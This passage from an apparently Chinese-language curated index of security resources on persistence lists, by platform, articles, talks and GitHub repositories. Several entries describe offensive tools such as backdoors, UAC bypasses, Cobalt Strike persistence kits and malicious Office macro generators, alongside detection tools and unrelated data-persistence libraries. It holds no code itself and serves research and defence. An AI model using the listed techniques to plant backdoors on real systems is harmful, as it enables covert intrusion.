[DoubleAgent:代码注入和持久化技术--允许在任何Windows版本上控制任何进程](https://www.anquanke.com/post/id/85775/) - 2017.01 [inspired] [WMI Persistence with Cobalt Strike](https://blog.inspired-sec.com/archive/2017/01/20/WMI-Persistence.html) - 2016.09 [4hou] [如何在系统日志中记录WMI Persistence?](http://www.4hou.com/technology/1860.html) - 2016.09 [4hou] [Study Notes of WMI Persistence using wmic.exe](http://www.4hou.com/technology/2027.html) - 2016.08 [3gstudent] [Study Notes of WMI Persistence using wmic.exe](https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/) - 2016.07 [JackkTutorials] [How to make a persistent backdoor (Metasploit / Kali Linux)](https://www.youtube.com/watch?v=-g8d2YonOxc) - 2016.06 [rootedconmadrid] [Abel Valero - Windows BootKits: Como analizar malware persistente en MBR/VBR [RootedCON 2016 - ESP]](https://www.youtube.com/watch?v=cnHmOw1Q6SI) - 2016.06 [rootedconmadrid] [Abel Valero - Windows BootKits: Como analizar malware persistente en MBR/VBR [RootedCON 2016 - ENG]](https://www.youtube.com/watch?v=FTE-7CHaAbM) - 2016.04 [sans] [Windows Command Line Persistence?](https://isc.sans.edu/forums/diary/Windows+Command+Line+Persistence/20949/) - 2016.04 [windowsir] [Cool Stuff, re: WMI Persistence](http://windowsir.blogspot.com/2016/04/cool-stuff-re-wmi-persistence.html) - 2016.03 [quarkslab] [Windows Filtering Platform: Persistent state under the hood](https://blog.quarkslab.com/windows-filtering-platform-persistent-state-under-the-hood.html) - 2015.09 [blackmoreops] [Create Kali Bootable Installer USB Drive in Windows 10 (Kali Bootable Non-Persistence USB Drive)](https://www.blackmoreops.com/2015/09/24/create-kali-bootable-installer-usb-drive-in-windows-10-kali-bootable-non-persistence-usb-drive/) - 2013.09 [cylance] [Windows Registry Persistence, Part 2: The Run Keys and Search-Order](https://www.cylance.com/en_us/blog/windows-registry-persistence-part-2-the-run-keys-and-search-order.html) - 2013.08 [cylance] [Windows Registry Persistence, Part 1: Introduction, Attack Phases and Windows Services](https://www.cylance.com/en_us/blog/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services.html) - 2012.11 [sans] [Case Leads: DFIR Lessons from Sandy; The Advanced Persistent Intruder; The Secure Breach; Windows8 Forensics; South Carolina Tax Info Protected by "TWO FIREWALLS"](https://digital-forensics.sans.org/blog/2012/11/02/case-leads-dfir-lessons-from-sandy-the-advanced-persistent-intruder-the-secure-breach-windows8-forensics-south-carolina-tax-info-protected-by-two-firewalls) # <a id="d85c33dfafdf2941e8865e38d7abdc70"></a>Linux *** ## <a id="3fff7861fe9a68d96798413b150bf775"></a>工具 - [**433**星][4m] [Shell] [d4rk007/redghost](https://github.com/d4rk007/redghost) 用bash编写的Linux后渗透框架,旨在帮助red团队进行持久性、侦察、特权升级和不留痕迹 *** ## <a id="edadf03a82a99fb2d7bfda27c4d320d4"></a>文章 - 2018.11 [topsec] [Linux下的Rootkit驻留技术分析](http://blog.topsec.com.cn/linux%e4%b8%8b%e7%9a%84rootkit%e9%a9%bb%e7%95%99%e6%8a%80%e6%9c%af%e5%88%86%e6%9e%90/) - 2018.11 [freebuf] [Linux下的Rootkit驻留技术分析](https://www.freebuf.com/articles/system/188211.html) - 2016.07 [freebuf] [Linux Rootkit 系列五:感染系统关键内核模块实现持久化](http://www.freebuf.com/articles/system/109034.html) # <a id="92795e827b3b796c276aeb42cd7ba7bc"></a>macOS *** ## <a id="920d31fa243672149cb4b16f6bd5c43c"></a>文章 - 2019.11 [CodeColorist] [Two macOS persistence tricks abusing plugins](https://medium.com/p/6e55189be49c) - 2019.06 [aliyun] [macOS恶意软件驻留技术分析](https://xz.aliyun.com/t/5463) - 2019.04 [aliyun] [利用macOS 的 Folder Actions 功能实现持久化控制](https://xz.aliyun.com/t/4776) - 2019.03 [specterops] [Folder Actions for Persistence on macOS](https://medium.com/p/8923f222343d) - 2019.03 [blacksunhackers] [macOS Persistence via iTerm](https://blacksunhackers.club/2019/03/macOS-persistence-via-iterm/) - 2018.11 [4hou] [攻击者如何借助授权插件,实现macOS持久化凭据窃取](http://www.4hou.com/system/14157.html) - 2018.03 [mac4n6] [OMG, Seriously? - APFS Encrypted Plaintext Password found in ANOTHER (More Persistent!) macOS Log File](https://www.mac4n6.com/blog/2018/3/30/omg-seriously-apfs-encrypted-plaintext-password-found-in-another-more-persistent-macos-log-file) - 2018.02 [freebuf] [如何通过Emond在macOS上实现持久化访问](http://www.freebuf.com/articles/system/161745.html) - 2018.01 [xorrior] [Leveraging Emond on macOS For Persistence](https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124) - 2018.01 [xorrior] [Leveraging Emond on macOS For Persistence](http://xorrior.com/emond-persistence/) # <a id="96c32cb67d39a39ca6ebcbf437ad5be0"></a>Android *** ## <a id="6f8c8181aaceb3707bf31e05ef01aff7"></a>工具 - [**33**星][12m] [Kotlin] [cesarferreira/seguro](https://github.com/cesarferreira/seguro) Secure persistence using AES+CBC encryption on Android with no dependencies. - [**31**星][6m] [Kotlin] [irontec/android-room-example](https://github.com/irontec/android-room-example) Android Kotlin app showcasing the Room persistence library *** ## <a id="0c8cc0e282af1c3976f089a32f0490ef"></a>文章 - 2017.07 [freebuf] [修改Metasploit安卓Payload源码以实现持久化访问](http://www.freebuf.com/sectool/141234.html) - 2017.06 [freebuf] [MSF外网持久控制Android手机并渗透测试局域网](http://www.freebuf.com/sectool/136574.html) - 2015.02 [checkpoint] [Clever and Persistent Android Banking Trojan Discovered | Check Point Software Blog](https://blog.checkpoint.com/2015/02/05/clever-persistent-android-banking-trojan-discovered/) # <a id="f2fca029044e3c784f5b8fedc992ade4"></a>iOS *** ## <a id="11669583787f71136e12da932d6e60b6"></a>工具 - [**199**星][6m] [Swift] [lucas34/swiftqueue](https://github.com/lucas34/swiftqueue) Job Scheduler for IOS with Concurrent run, failure/retry, persistence, repeat, delay and more - [**138**星][7m] [Swift] [justeat/justpersist](https://github.com/justeat/justpersist) JustPersist is the easiest and safest way to do persistence on iOS with Core Data support out of the box. It also allows you to migrate to any other persistence framework with minimal effort. *** ## <a id="79422f0e817849c95cc8b24650f95d94"></a>文章 - 2015.07 [nokiaguy] [iOS8开发技术(Swift版):数据持久化-李宁-专题视频课程](https://blog.csdn.net/nokiaguy/article/details/83551150) # <a id="1006e9d79182efe6f1cb25f4da74e7e1"></a>新添加 *** ## <a id="f14b1b535106867820036c96a82f55ed"></a>工具 - [**1742**星][5m] [Py] [rootm0s/winpwnage](https://github.com/rootm0s/winpwnage) UAC绕过、提升、持久化和执行方法 - [**986**星][26d] [Py] [synack/knockknock](https://github.com/synack/knockknock) displays persistent items (scripts, commands, binaries, etc.), that are set to execute automatically on OS X - [**983**星][3y] [C] [cybellum/doubleagent](https://github.com/cybellum/doubleagent) Zero-Day Code Injection and Persistence Technique - [**792**星][17d] [C] [pmem/pmdk](https://github.com/pmem/pmdk) a collection of libraries and tools for System Administrators and Application Developers to simplify managing and accessing persistent memory devices - [**538**星][4y] [PS] [enigma0x3/generate-macro](https://github.com/enigma0x3/generate-macro) This Powershell script will generate a malicious Microsoft Office document with a specified payload and persistence method. - [**347**星][1m] [TeX] [plailect/keyshuffling](https://github.com/plailect/keyshuffling) Keyshuffling Attack for Persistent Early Code Execution in the Nintendo 3DS Secure Bootchain - [**310**星][22d] [Py] [shaypal5/cachier](https://github.com/shaypal5/cachier) Persistent, stale-free, local and cross-machine caching for Python functions. - [**266**星][2y] [C++] [ewhitehats/invisiblepersistence](https://github.com/ewhitehats/invisiblepersistence) Persisting in the Windows registry "invisibly" - [**220**星][5y] [PS] [jseidl/babadook](https://github.com/jseidl/babadook) Connection-less Powershell Persistent and Resilient Backdoor - [**215**星][10m] [PS] [harmj0y/damp](https://github.com/harmj0y/damp) The Discretionary ACL Modification Project: Persistence Through Host-based Security Descriptor Modification - [**194**星][10m] [Ruby] [sfeley/candy](https://github.com/sfeley/candy) Transparent persistence for MongoDB - [**192**星][2m] [Py] [scrapy/queuelib](https://github.com/scrapy/queuelib) Collection of persistent (disk-based) queues - [**162**星][3y] [miserlou/mackenzie](https://github.com/miserlou/mackenzie) AWS Lambda Infection Toolkit // Persistent Lambda Malware PoC - [**152**星][1y] [ObjC] [objective-see/reikey](https://github.com/objective-see/reikey) Malware and other applications may install persistent keyboard "event taps" to intercept your keystrokes. ReiKey can scan, detect, and monitor for such taps! - [**150**星][20d] [Py] [checkymander/imessagesbackdoor](https://github.com/checkymander/iMessagesBackdoor) A script to help set up an event handler in order to install a persistent backdoor that can be activated by sending a message. - [**141**星][6m] [C++] [hasherezade/iat_patcher](https://github.com/hasherezade/iat_patcher) Persistent IAT hooking application - based on bearparser - [**126**星][2y] [zonksec/persistence-aggressor-script](https://github.com/zonksec/persistence-aggressor-script) initial commit - [**124**星][4m] [PS] [p0w3rsh3ll/autoruns](https://github.com/p0w3rsh3ll/autoruns) help do live incident response and enumerate autoruns artifacts that may be used by legitimate programs as well as malware to achieve persistence. - [**111**星][4m] [Go] [schollz/linkcrawler](https://github.com/schollz/linkcrawler) Cross-platform persistent and distributed web crawler - [**105**星][3y] [Py] [n00py/norknork](https://github.com/n00py/norknork) Powershell Empire Persistence finder - [**99**星][2y] [PS] [testingpens/malwarepersistencescripts](https://github.com/testingpens/malwarepersistencescripts) A collection of scripts I've written to help red and blue teams with malware persistence techniques. - [**95**星][23d] [Batchfile] [huntresslabs/evading-autoruns](https://github.com/huntresslabs/evading-autoruns) 几种用于逃避常见的驻留枚举工具的技术(Evading Autoruns,Derbycon 2017) - [**94**星][22d] [C++] [hasherezade/persistence_demos](https://github.com/hasherezade/persistence_demos) Demos of various (also non standard) persistence methods used by malware - [**91**星][4m] [0xthirteen/staykit](https://github.com/0xthirteen/staykit) Cobalt Strike kit for Persistence - [**73**星][4m] [Py] [s1egesystems/ghostdelivery](https://github.com/s1egesystems/ghostdelivery) .vbs script to deliver payload with persistence. - [**70**星][16d] [C#] [mdsecactivebreach/wmipersistence](https://github.com/mdsecactivebreach/wmipersistence) WMI Event Subscription Persistence in C# - [**69**星][4m] [C++] [tobozo/esp32-blecollector](https://github.com/tobozo/esp32-blecollector) ᛡᛒ BLE Scanner + Data persistence on SD Card for M5Stack, Odroid-Go, ESP32-Wrover-Kit and other models - [**66**星][30d] [yeti-791/apt-guide](https://github.com/yeti-791/apt-guide) APT学习指南(Advanced persistent threat learning Guide) - [**64**星][5y] [PS] [enigma0x3/outlookpersistence](https://github.com/enigma0x3/outlookpersistence) - [**64**星][1m] [Py] [n00py/post-ex](https://github.com/n00py/post-ex) Post-exploitation scripts for OS X persistence and privesc - [**61**星][1m] [3gstudent/bitsadminexec](https://github.com/3gstudent/bitsadminexec) 利用bitsadmin 实现驻留,以及自动运行 - [**61**星][1y] [JS] [dxa4481/xssoauthpersistence](https://github.com/dxa4481/xssoauthpersistence) Maintaining account persistence via XSS and Oauth - [**58**星][4y] [PS] [killswitch-gui/persistence-survivability](https://github.com/killswitch-gui/persistence-survivability) Powershell Persistence Locator - [**49**星][1m] [Go] [schollz/crawdad](https://github.com/schollz/crawdad) Cross-platform persistent and distributed web crawler - [**40**星][3y] [PS] [n0pe-sled/wmi-persistence](https://github.com/n0pe-sled/WMI-Persistence) - [**39**星][22d] [C] [pmem/valgrind](https://github.com/pmem/valgrind) Enhanced Valgrind for Persistent Memory - [**38**星][1y] [C] [ntraiseharderror/kaiser](https://github.com/ntraiseharderror/kaiser) Fileless persistence, attacks and anti-forensic capabilties. - [**35**星][2y] [PS] [3gstudent/office-persistence](https://github.com/3gstudent/office-persistence) Use powershell to test Office-based persistence methods - [**34**星][3y] [PS] [3gstudent/waitfor-persistence](https://github.com/3gstudent/waitfor-persistence) Use Waitfor.exe to maintain persistence - [**33**星][3m] [tom4t0/cobalt-strike-persistence](https://github.com/tom4t0/cobalt-strike-persistence) cobalt strike 自启动脚本 - [**30**星][3y] [PS] [3gstudent/com-object-hijacking](https://github.com/3gstudent/com-object-hijacking) use COM Object hijacking to maintain persistence.(Hijack CAccPropServicesClass and MMDeviceEnumerator) - [**30**星][10m] [PHP] [echo-devim/xbackdoor](https://github.com/echo-devim/xbackdoor) A tool for the persistent XSS exploitation with a focus for mobile web browsers - [**29**星][20d] [PHP] [n1215/lara-todo-persistence](https://github.com/n1215/lara-todo-persistence) LaravelとEloquentの永続化パターンサンプル - [**29**星][7m] [PS] [ahhh/wifi_trojans](https://github.com/ahhh/wifi_trojans) A collection of wireless based bind and reverse connect shells for penetration testers to use in demonstrating persistence to a network via rouge access points. - [**29**星][4m] [Py] [rikvanduijn/wmi-persistence](https://github.com/rikvanduijn/wmi-persistence) - [**27**星][5m] [Py] [threatresponse/mad-king](https://github.com/threatresponse/mad-king) Proof of Concept Zappa Based AWS Persistence and Attack Platform - [**25**星][2y] [Py] [catalyst256/netscaler-cookie-decryptor](https://github.com/catalyst256/netscaler-cookie-decryptor) Python application to decrypt Netscaler Load Balancer Persistence Cookies - [**21**星][4m] [Shell] [rustybird/qubes-split-browser](https://github.com/rustybird/qubes-split-browser) Tor Browser in a Qubes DisposableVM, with persistent bookmarks and login credentials - [**20**星][26d] [karneades/malware-persistence](https://github.com/karneades/malware-persistence) Collection of malware persistence and hunting information. Be a persistent persistence hunter! - [**19**星][5y] [Visual Basic .NET] [enigma0x3/old-powershell-payload-excel-delivery](https://github.com/enigma0x3/old-powershell-payload-excel-delivery) This version touches disk for registry persistence. - [**15**星][2y] [Py] [nullarray/shellware](https://github.com/nullarray/shellware) Persistent bind shell via pythonic shellcode execution, and registry tampering. - [**14**星][6m] [HTML] [abzcoding/aptdetector](https://github.com/abzcoding/aptdetector) Advanced Persistent Threat Detection Using Network Analysis - [**14**星][19d] [C] [windriver-opensourcelabs/cryptfs-tpm2](https://github.com/windriver-opensourcelabs/cryptfs-tpm2) Store and restore a persistent passphrase with TPM 2.0 - [**8**星][4m] [PS] [bspence7337/invoke-wmipersist](https://github.com/bspence7337/invoke-wmipersist) A powershell script to create WMI Event subscription persistence - [**7**星][1y] [Java] [tryan18/xcom](https://github.com/tryan18/xcom) Cross-referencing network communication for detecting Advanced Persistent Threat (APT) malware - [**4**星][2y] [pradeepjairamani/typo3-xss-poc](https://github.com/pradeepjairamani/typo3-xss-poc) Typo3 -v9.1.0 Persistent Cross Site Scripting(XSS) Assigned CVE Number: CVE-2018-6905 - [**3**星][4y] [JS] [tobypinder/ludumdare32](https://github.com/tobypinder/ludumdare32) [Merged into /tobypinder] Apt - Advanced Persistent Threat - [**2**星][2y] [Py] [aroradhruv03/apthreatdetectionsys](https://github.com/aroradhruv03/apthreatdetectionsys) Advanced Persistent Threat /Intrusion Detection Sys - [**2**星][9m] [Py] [azmatt/cerebro](https://github.com/azmatt/cerebro) Keyword Persistent Monitor - [**2**星][3y] [JS] [adrienjoly/persistent-harmony](https://github.com/adrienjoly/persistent-harmony) A wrapper class to create persistent javascript objects, relying on harmony proxies. - [**1**星][1y] [harsh2602/apt-detection-via-graph-analytics](https://github.com/harsh2602/apt-detection-via-graph-analytics) This is a public repo for the Graph Analytics project done for the Advanced and Persistent Threats (CS 594-III) during Spring Semester for 2016 - [**1**星][1y] [security-breachlock/cve-2018-16639](https://github.com/security-breachlock/CVE-2018-16639) Non-Persistent XSS in Typesetter CMS - [**1**星][2y] [PS] [subesp0x10/wmi-persistence](https://github.com/subesp0x10/wmi-persistence) - [**0**星][1y] [security-breachlock/cve-2018-16623](https://github.com/security-breachlock/CVE-2018-16623) XSS Persistent in Kirby CMS - [**0**星][1y] [security-breachlock/cve-2018-16632](https://github.com/security-breachlock/CVE-2018-16632) Persistent Cross site Scripting in Mezzanine - [**0**星][1y] [security-breachlock/cve-2018-17301](https://github.com/security-breachlock/CVE-2018-17301) Non-persistent XSS in EspoCRM - [**None**星][ObjC] [objective-see/blockblock](https://github.com/objective-see/blockblock) BlockBlock provides continual protection by monitoring persistence locations. *** ## <a id="426ad781ce4166338e198a70e025885d"></a>文章 - 2020.03 [freebuf] [权限维持及后门持久化技巧总结](https://www.freebuf.com/articles/system/229209.html) - 2020.03 [thegreenplace] [Implementing Raft: Part 3 - Persistence and Optimizations](https://eli.thegreenplace.net/2020/implementing-raft-part-3-persistence-and-optimizations/) - 2020.01 [BlackHat] [Rough and Ready: Frameworks to Measure Persistent Engagement and Deterrence](https://www.youtube.com/watch?v=sEN3NipF_FY) - 2019.11 [aliyun] [持久化研究-Scheduled Tasks](https://xz.aliyun.com/t/6822) - 2019.11 [aliyun] [持久化研究-Time Providers](https://xz.aliyun.com/t/6738) - 2019.11 [aliyun] [Cobaltstrike Server持久化 & Cobaltstrike与Metasploit相互派生shell](https://xz.aliyun.com/t/6722) - 2019.10 [HackersOnBoard] [Black Hat USA 2016 Account Jumping Post Infection Persistency & Lateral Movement in AWS](https://www.youtube.com/watch?v=WuKaa1fIdwg) - 2019.09 [4hou] [使用公共语言运行时获取持久性(下)](https://www.4hou.com/web/20362.html) - 2019.09 [4hou] [使用公共语言运行时获取持久性(上)](https://www.4hou.com/web/20361.html) - 2019.09 [myonlinesecurity] [Some changes to Remcos Rat persistence method](https://myonlinesecurity.co.uk/some-changes-to-remcos-rat-persistence-method/) - 2019.09 [netspi] [Maintaining Azure Persistence via Automation Accounts](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/) - 2019.09 [Bank] [Automated host recon, persistence and exfiltration](https://medium.com/p/85d49423dcc2) - 2019.09 [trendmicro] [Spam Campaign Abuses PHP Functions for Persistence, Uses Compromised Devices for Evasion and Intrusion](https://blog.trendmicro.com/trendlabs-security-intelligence/spam-campaign-abuses-php-functions-for-persistence-uses-compromised-devices-for-evasion-and-intrusion/) - 2019.08 [contextis] [Common Language Runtime Hook for Persistence](https://www.contextis.com/en/blog/common-language-runtime-hook-for-persistence) - 2019.08 [trendmicro] [Uncovering a MyKings Variant With Bootloader Persistence via Managed Detection and Response](https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-a-mykings-variant-with-bootloader-persistence-via-managed-detection-and-response/) - 2019.08 [topsec] [ATT&CK之后门持久化](http://blog.topsec.com.cn/attack%e4%b9%8b%e5%90%8e%e9%97%a8%e6%8c%81%e4%b9%85%e5%8c%96/) - 2019.08 [stealthbits] [Detecting Persistence through Active Directory Extended Rights](https://blog.stealthbits.com/detecting-persistence-through-active-directory-extended-rights/) - 2019.08 [trendmicro] [LokiBot Gains New Persistence Mechanism, Uses Steganography to Hide Its Tracks](https://blog.trendmicro.com/trendlabs-security-intelligence/lokibot-gains-new-persistence-mechanism-uses-steganography-to-hide-its-tracks/) - 2019.07 [HackerSploit] [Pivoting And Persistence With Armitage](https://www.youtube.com/watch?v=kRXVQdzRbzI) - 2019.07 [two06] [Persistence with KeePass -Part 2](https://medium.com/p/3e328b24e117) - 2019.06 [two06] [Persistence with KeePass - Part 1](https://medium.com/p/d2e705326aa6) - 2019.06 [HackmanitGmbH] [RuhrSec 2019: "Don't Trust The Locals: Exploiting Persistent ...", Marius Steffens & Dr. Ben Stock](https://www.youtube.com/watch?v=-_MokuOQ3Ss) - 2019.06 [X13Cubed] [Detecting Persistence in Memory](https://www.youtube.com/watch?v=shF8hAprD4g) - 2019.06 [stealthbits] [Domain Persistence with Subauthentication Packages](https://blog.stealthbits.com/domain-persistence-with-subauthentication-packages/) - 2019.06 [4hou] [Use COM Object hijacking to maintain persistence——Hijack Outlook](https://www.4hou.com/technology/18449.html) - 2019.06 [0x00sec] [Achieving Persistent Access to Burp Collaborator Sessions](https://0x00sec.org/t/achieving-persistent-access-to-burp-collaborator-sessions/14311) - 2019.06 [JosephDelgadillo] [Learn System Hacking E18: Persistence Module](https://www.youtube.com/watch?v=Irptj9Fzoo0) - 2019.06 [3gstudent] [Use COM Object hijacking to maintain persistence——Hijack Outlook](https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/) - 2019.05 [mdsec] [Persistence: “the continued or prolonged existence of something”: Part 2 – COM Hijacking](https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/) - 2019.05 [mdsec] [Persistence: “the continued or prolonged existence of something”: Part 1 – Microsoft Office](https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-1-microsoft-office/) - 2019.04 [NDSSSymposium] [NDSS 2019 Master of Web Puppets: Abusing Web Browsers for Persistent and Stealthy Computation](https://www.youtube.com/watch?v=Fec-LvGfFII) - 2019.02 [netspi] [Get-AzurePasswords: Exporting Azure RunAs Certificates for Persistence](https://blog.netspi.com/exporting-azure-runas-certificates/) - 2019.02 [hosakacorp] [systemd user persistence in metasploit](https://hosakacorp.net/p/systemd-user-msf.html) - 2019.02 [360] [Chrome扩展在持久化中的应用](https://www.anquanke.com/post/id/170725/) - 2019.02 [360] [CloudGoat云靶机 Part-2:绕过CloudTrail实现持久访问](https://www.anquanke.com/post/id/170618/) - 2019.02 [robtlee73] [Leveraging Data Science to Discover Persistent Threats - SANS Threat Hunting Summit 2018](https://www.youtube.com/watch?v=9ITZTxYUMwg) - 2019.02 [360] [S4U2Self在活动目录持久化中的应用](https://www.anquanke.com/post/id/170535/) - 2019.01 [lukeberner] [How I abused 2FA to maintain persistence after a password change (Google, Microsoft, Instagram…](https://medium.com/p/7e3f455b71a1) - 2019.01 [4hou] [PowerShell无文件持久化技术与常用的防御绕过技术](http://www.4hou.com/web/15593.html) - 2019.01 [arxiv] [[1901.00620] A Secure and Persistent Memory System for Non-volatile Memory](https://arxiv.org/abs/1901.00620) - 2019.01 [sans] [Examples of Recent APT Persistence Mechanisms](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1493922358.pdf) - 2019.01 [sans] [Detecting Persistence with the Kansa PowerShell Framework](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1524591258.pdf) - 2019.01 [sans] [Viewing the Nodes in the Noise: Leveraging Data Science to Discover Persistent Threat](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1536345034.pdf) - 2018.12 [crowdstrike] [Adversary Extends Persistence by Modifying System Binaries](https://www.crowdstrike.com/blog/adversary-extends-persistence-by-modifying-system-binaries/) - 2018.12 [windowsir] [Hunting and Persistence](http://windowsir.blogspot.com/2018/12/hunting-and-persistence.html) - 2018.11 [andreafortuna] [Process Injection and Persistence using Application Shimming](https://www.andreafortuna.org/dfir/malware-analysis/process-injection-and-persistence-using-application-shimming/) - 2018.10 [4hou] [仔细分析源代码也许是寻找新的持久化攻击方式的唯一办法](http://www.4hou.com/web/14125.html) - 2018.10 [auth0] [Credential Stuffing is a Persistent Threat to Your Users](https://auth0.com/blog/credential-stuffing-is-a-persistent-threat-to-your-users/) - 2018.10 [xorrior] [Persistent Credential Theft with Authorization Plugins](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) - 2018.10 [hexacorn] [How to find new persistence tricks?](http://www.hexacorn.com/blog/2018/10/14/how-to-find-new-persistence-tricks/) - 2018.10 [defensivedepth] [Osquery Cheat Sheet – Process Interrogation & Persistence Techniques](https://defensivedepth.com/2018/10/10/osquery-cheat-sheet-process-interrogation-persistence-techniques/) - 2018.10 [hexacorn] [Lateral Movement and Persistence: tactics vs techniques](http://www.hexacorn.com/blog/2018/10/05/lateral-movement-and-persistence-tactics-vs-techniques/) - 2018.10 [MSbluehat] [BlueHat v18 || Killsuit the equation group's swiss army knife for persistence, evasion, and data exfil](https://www.slideshare.net/MSbluehat/bluehat-v18-killsuit-the-equation-groups-swiss-army-knife-for-persistence-evasion-and-data-exfil) - 2018.10 [ACoD] [Philo Track 1/30/18 12 Universal Persistent Bugs, Paul Vixie](https://www.youtube.com/watch?v=OM1Oav44F5A) - 2018.09 [sophos] [The persistent nuisance of cryptomining looks set to grow](https://news.sophos.com/en-us/2018/09/21/the-persistent-nuisance-of-cryptomining-looks-set-to-grow/) - 2018.09 [360] [如何利用Outlook Today主页实现本地持久化](https://www.anquanke.com/post/id/160044/) - 2018.09 [bwtech789] [Outlook Today Homepage Persistence](https://medium.com/p/33ea9b505943) - 2018.08 [4hou] [Turla Outlook 后门使用明智的策略进行隐身和持久](http://www.4hou.com/info/news/13216.html) - 2018.08 [X13Cubed] [Persistence Mechanisms](https://www.youtube.com/watch?v=ImGaqVHAbCk) - 2018.08 [freebuf] [修改PHP扩展作为持久后门](http://www.freebuf.com/articles/web/179713.html) - 2018.07 [trendmicro] [The Need for Managed Detection and Response: Persistent and Prevalent Threats in North America’s Security Landscape](https://blog.trendmicro.com/trendlabs-security-intelligence/the-need-for-managed-detection-and-response-persistent-and-prevalent-threats-in-north-americas-security-landscape/) - 2018.07 [syspanda] [威胁狩猎: 查找恶意代码的驻留机制](https://www.syspanda.com/index.php/2018/07/18/threat-hunting-looking-finding-persistence-mechanisms/) - 2018.07 [obscuritylabs] [Cross-Platform VPN Persistence(and phishing!) with Viscosity](https://blog.obscuritylabs.com/vpn-persistence-and-phishing-with-viscosity/) - 2018.06 [redcanary] [Behind the Scenes of an Active Breach (Part 1): Establishing Persistence](https://redcanary.com/blog/active-breach-establishing-persistence/) - 2018.05 [secjuice] [My Journey Into Infosec : Persistence, persistence and yet more persistence.](https://medium.com/p/1f02bbc2b388) - 2018.05 [ironcastle] [Adding Persistence Via Scheduled Tasks, (Mon, May 7th)](https://www.ironcastle.net/adding-persistence-via-scheduled-tasks-mon-may-7th/) - 2018.05 [sans] [Adding Persistence Via Scheduled Tasks](https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/) - 2018.04 [freebuf] [利用DiskShadow服务实现免杀持久化控制以及活动目录数据库提取](http://www.freebuf.com/articles/system/168115.html) - 2018.04 [oddvar] [利用Image File Execution Options中的GlobalFlags实现驻留, 绕过Autoruns.exe检测](https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/) - 2018.04 [360] [DiskShadow工具介绍:VSS绕过、持久化感染和活动目录数据库提取](https://www.anquanke.com/post/id/103117/) - 2018.03 [deepsec] [Advanced and In-Depth Persistent Defence](https://blog.deepsec.net/advanced-and-in-depth-persistent-defence/) - 2018.03 [bohops] [利用DiskShadow.exe实现VSS逃逸/驻留/Active Directory数据库提取](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/) - 2018.03 [rastamouse] [基本的驻留策略和技巧](https://rastamouse.me/2018/03/a-view-of-persistence/) - 2018.03 [oddvar] [利用RunOnceEx实现驻留, 能够躲避Autoruns.exe监测](https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/) - 2018.03 [virusbulletin] [VB2017 paper: The life story of an IPT - Inept Persistent Threat actor](https://www.virusbulletin.com/blog/2018/03/vb2017-paper-life-story-ipt-inept-persistent-threat-actor/) - 2018.03 [misteralfa] [[Facebook][ F5 BIG-IP ] PERSISTENCE COOKIE INFORMATION LEAKAGE](http://misteralfa-hack.blogspot.com/2018/03/facebook-f5-big-ip-persistence-cookie.html) - 2018.03 [360] [利用INF-SCT获取并进行绕过、规避和持久化技术](https://www.anquanke.com/post/id/100815/) - 2018.03 [bohops] [Leveraging INF-SCT Fetch & Execute Techniques For Bypass, Evasion, & Persistence (Part 2)](https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/) - 2018.03 [4hou] [利用INF-SCT文件执行绕过,规避查杀和持久性的技术](http://www.4hou.com/technology/10508.html) - 2018.03 [stealthbits] [Creating Persistence with DCShadow](https://blog.stealthbits.com/creating-persistence-with-dcshadow/) - 2018.02 [bohops] [执行INF-SCT文件的若干方式(LaunchINFSection),实现绕过/躲避杀软/驻留. (INF-SCT: INF配置文件中配置的SCT文件)](https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/) - 2018.02 [bohops] [Vshadow: Abusing the Volume Shadow Service for Evasion, Persistence, and Active Directory Database Extraction](https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/) - 2018.02 [nextplatform] [Momentum Gathers for Persistent Memory Preppers](https://www.nextplatform.com/2018/02/07/momentum-gathers-persistent-memory-preppers/) - 2018.02 [vimeo] [Introduction to INNUENDO's New Persistence Framework](https://vimeo.com/253864191) - 2018.01 [stealthbits] [Gain System Access and Persistence with SQL Native Attacks – SQL Attacks](https://blog.stealthbits.com/gain-system-access-and-persistence-with-sql-native-attacks-sql-attacks/) - 2018.01 [f5] [Cookies, Sessions, and Persistence](https://f5.com/resources/white-papers/cookies-sessions-and-persistence) - 2018.01 [freebuf] [来自后方世界的隐匿威胁:后门与持久代理(二)](http://www.freebuf.com/articles/system/150314.html) - 2017.12 [freebuf] [Cobalt Strike实战技巧持久性权限控制姿势](http://www.freebuf.com/sectool/157952.html) - 2017.12 [paloaltonetworks] [Abusing the Service Control Manager to Establish Persistence for Non-Service App](https://unit42.paloaltonetworks.com/unit42-abusing-service-control-manager-establish-persistence-non-service-applications/) - 2017.12 [securestate] [Quick Reference: Empire Persistence Modules](https://warroom.rsmus.com/quick-reference-empire-persistence-modules/) - 2017.11 [countercept] [Hunting for Junction Folder Persistence](https://countercept.com/blog/hunting-for-junction-folder-persistence/) - 2017.11 [malwarebytes] [挖矿新姿势: 使用浏览器访问内嵌 JS挖矿脚本的网站之后, 即便关闭浏览器, 挖矿依然在继续](https://blog.malwarebytes.com/cybercrime/2017/11/persistent-drive-by-cryptomining-coming-to-a-browser-near-you/) - 2017.11 [countercept] [Hunting for Junction Folder Persistence](https://countercept.com/our-thinking/hunting-for-junction-folder-persistence/) - 2017.10 [digitalforensicstips] [Persistent Monitoring on 